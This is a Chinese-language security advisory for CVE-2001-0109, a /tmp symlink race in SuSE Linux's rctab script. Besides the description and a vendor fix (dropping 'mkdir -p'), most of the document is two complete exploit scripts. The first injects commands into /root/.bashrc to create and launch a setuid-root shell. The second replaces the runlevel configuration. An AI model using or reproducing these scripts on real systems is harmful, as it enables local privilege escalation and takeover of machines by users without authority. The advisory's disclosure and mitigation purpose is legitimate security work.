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SuSE rctab 竞争环境缺陷
发布日期：2001-01-18
更新日期：2001-01-18
受影响系统：
描述：
S.u.S.E. Linux 7.0
S.u.S.E. Linux 6.4
S.u.S.E. Linux 6.3
S.u.S.E. Linux 6.2
S.u.S.E. Linux 6.1
BUGTRAQ ID:2207
CVE(CAN) ID: CVE-2001-0109
rctab 是S.u.S.E. Linux携带的Run Control Tab script。
执行rctab脚本时，rctab在/tmp目录下建立一个子目录，名为
rctmpdir.[pid of rctab process]。通常以root身份运行rctab脚本，但是并未强制
检查rctmpdir子目录的属主是否为root。恶意用户可以猜测后续rctab进程号，然后
创建一系列符号连接，接下来执行rctab脚本时有可能覆盖系统文件、在系统文件后
面追加内容，潜在导致用户权限提升。
<* 来源：Paul Starzetz (paul@starzetz.de) *>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
--------------------------------------------------------------------------
#!/bin/bash
# any user can force changes to runlevels
# by IhaQueR
declare -i PLOW
declare -i PHIGH
# CONFIG:
PLOW=1
PHIGH=3
TMP="/tmp"
FAKERC=/tmp/fakerc
RCTMPDIR="rctmpdir"
RCTMP="rctmp"
WRITETO="/root/.bashrc"
SUSH="/tmp/sush"
# what we want to write to $WRITETO (oops...)
declare -i idx
idx=0
rchead=""
while test "$idx" -lt 128 ; do
rchead="$rchead "
idx=$(($idx+1))
done
rchead="$rchead chown root.root $SUSH; chmod 4777 $SUSH | cat >/dev/null
<<_DUPA_"
_pwd="$PWD"
#
echo "----------------------------------------------"
echo "| |"
echo "| local rctab root exploit |"
echo "| you would need luck |"
echo "| and an admin stupid enough |"
echo "| by IhaQueR '2001 |"
echo "| |"
echo "----------------------------------------------"
echo
# test sys
awkl=$(which awk)
if test -x $awkl ; then
echo "[+] awk found"
else
echo "[-] awk not found, edit this script :-)"
exit 1
fi
if test -r /sbin/rctab ; then
echo "[+] rctab found"
else
echo "[-] rctab not found, sorry"
exit 1
fi
# make suid shell
echo "[+] compiling suid shell"
cat << _DUPA_ >/tmp/sush.c
#include <stdio.h>
main(int argc, char** argv) {setuid(0); setgid(0); execv("/bin/sh",
argv); }
_DUPA_
# compile shell
gcc /tmp/sush.c -o $SUSH
# crate dirs
echo "[+] now creating directories"
echo " this may take a while"
echo
declare -i cnt
cnt=$PLOW
umask 000
while [ $cnt -lt $PHIGH ]
do
cnt=$(($cnt+1))
if [ $(($cnt % 128)) -eq 0 ] ; then
printf "[%6d] " $cnt
fi;
if [ $(($cnt % 1024)) -eq 0 ] ; then
echo
fi;
mkdir -p "$TMP/$RCTMPDIR.$cnt"
done
echo
echo
echo " finished creating dirs"
echo
# wait for rctab -e
declare -i rctabpid
rctabpid=0
echo "[+] waiting for root to run rctab"
while [ 1 ]
do
rctabpid=`ps aux|grep "rctab -e"|grep root|head -n1|awk '{print $2}'`
if test $rctabpid -gt 1 ; then
break
fi
sleep 1
done
# rcfile in
rcfile="/tmp/rctmpdir.$rctabpid/$RCTMP"
# append our cmd
echo >$rcfile "$rchead"
echo "[+] got rctab -e at pid $rctabpid"
# test if we own the directory
rcdir="/tmp/rctmpdir.$rctabpid"
if test -O $rcdir ; then
echo "[+] ok, we own the dir"
else
echo "[-] hm, we are not owner"
exit 2
fi
# wait for editor
declare -i vipid
vipid=0
while [ $vipid -lt 1 ]
do
vipid=`ps aux|grep rctmpdir|grep root|awk '{print $2}'`
done
echo " root is editing now at pid $vipid, wait for writing $rcfile"
sleep 1
pfile="/proc/$vipid"
# relink
declare -i lcnt
lcnt=$(wc -l $rcfile|awk '{print $1-2 }')
tail -n$lcnt $rcfile >$rcfile.new
rm -rf $rcfile
ln -sf $WRITETO $rcfile
if test -r "$WRITETO" ; then
md=$(cat $WRITETO|md5sum)
fi
if test -r $WRITETO ; then
ac=$(ls -l --full-time $WRITETO)
else
ac="none"
fi
# wait for root to write rctab or exit
while test -d $pfile
do
if test -r "$WRITETO" ; then
oc="$(ls -l --full-time $WRITETO)"
if test "$ac" != "$oc" ; then
echo "[+] $WRITETO replaced"
break
fi
fi
done
rm -rf $rcfile; ln -s $rcfile.new $rcfile
if test "$md" = "$(cat $WRITETO|md5sum)" ; then
echo "[-] bashrc not changed, sorry"
exit 2
else
echo "[+] gotcha! wait for root to login"
fi
# now wait for root to login :-)
while test -O $SUSH ; do
sleep 1
done
echo "[+] suid shell at $SUSH"
sleep 1
$SUSH
--------------------------------------------------------------------------
changerc.sh
--------------------------------------------------------------------------
#!/bin/bash
# any user can force changes to runlevels
# by IhaQueR
declare -i PLOW
declare -i PHIGH
# CONFIG:
PLOW=1
PHIGH=3
TMP="/tmp"
FAKERC="/tmp/fakerc"
RCTMPDIR="rctmpdir"
RCTMP="rctmp"
_pwd="$PWD"
#
echo "----------------------------------------------"
echo "| |"
echo "| rctab exploit |"
echo "| by IhaQueR '2001 |"
echo "| |"
echo "----------------------------------------------"
echo
# crate dirs
echo "[+] now creating directories"
echo " this may take a while"
echo
declare -i cnt
cnt=$PLOW
umask 700
while [ $cnt -lt $PHIGH ]
do
cnt=$(($cnt+1))
if [ $(($cnt % 128)) -eq 0 ] ; then
printf "[%6d] " $cnt
fi;
if [ $(($cnt % 1024)) -eq 0 ] ; then
echo
fi;
mkdir -p "$TMP/$RCTMPDIR.$cnt"
done
echo
echo
echo " finished creating dirs"
echo
# wait for rctab -e
declare -i rctabpid
rctabpid=0
echo "[+] waiting for root to run rctab"
while [ 1 ]
do
rctabpid=`ps aux|grep "rctab -e"|grep root|head -n1|awk '{print $2}'`
if test $rctabpid -gt 1 ; then
break
fi
sleep 1
done
# rcfile in
rcfile="/tmp/rctmpdir.$rctabpid/$RCTMP"
echo "[+] got rctab -e at pid $rctabpid"
# test if we own the directory
rcdir="/tmp/rctmpdir.$rctabpid"
if test -O $rcdir ; then
echo "[+] ok, we own the dir"
else
echo "[-] hm, we are not owner"
exit 2
fi
# wait for root to finish editing
sleep 4
declare -i vipid
vipid=`ps aux|grep rctmpdir|grep root|awk '{print $2}'`
echo " root is editing now at $vipid, wait for $rcfile"
pfile="/proc/$vipid"
while test -d $pfile
do
echo -n >/dev/null
done
rm -rf $rcfile
cp $FAKERC $rcfile
echo "[+] gotcha!"
echo " installed new rctab from $FAKERC"
建议：
临时解决办法：
下面是SuSE Security的Roman Drahtmueller <draht@suse.de>提供的解决方案
修正/sbin/rctab脚本中如下行
mkdir -p ${tmpdir}
成
mkdir ${tmpdir}
显然这里-p参数导致恶意用户可以建立符号连接并被有效使用。
NsFocus建议您首先删除即将建立的同名文件、目录，然后创建，这个技术可以解决
绝大多数符号连接带来的竞争环境问题。
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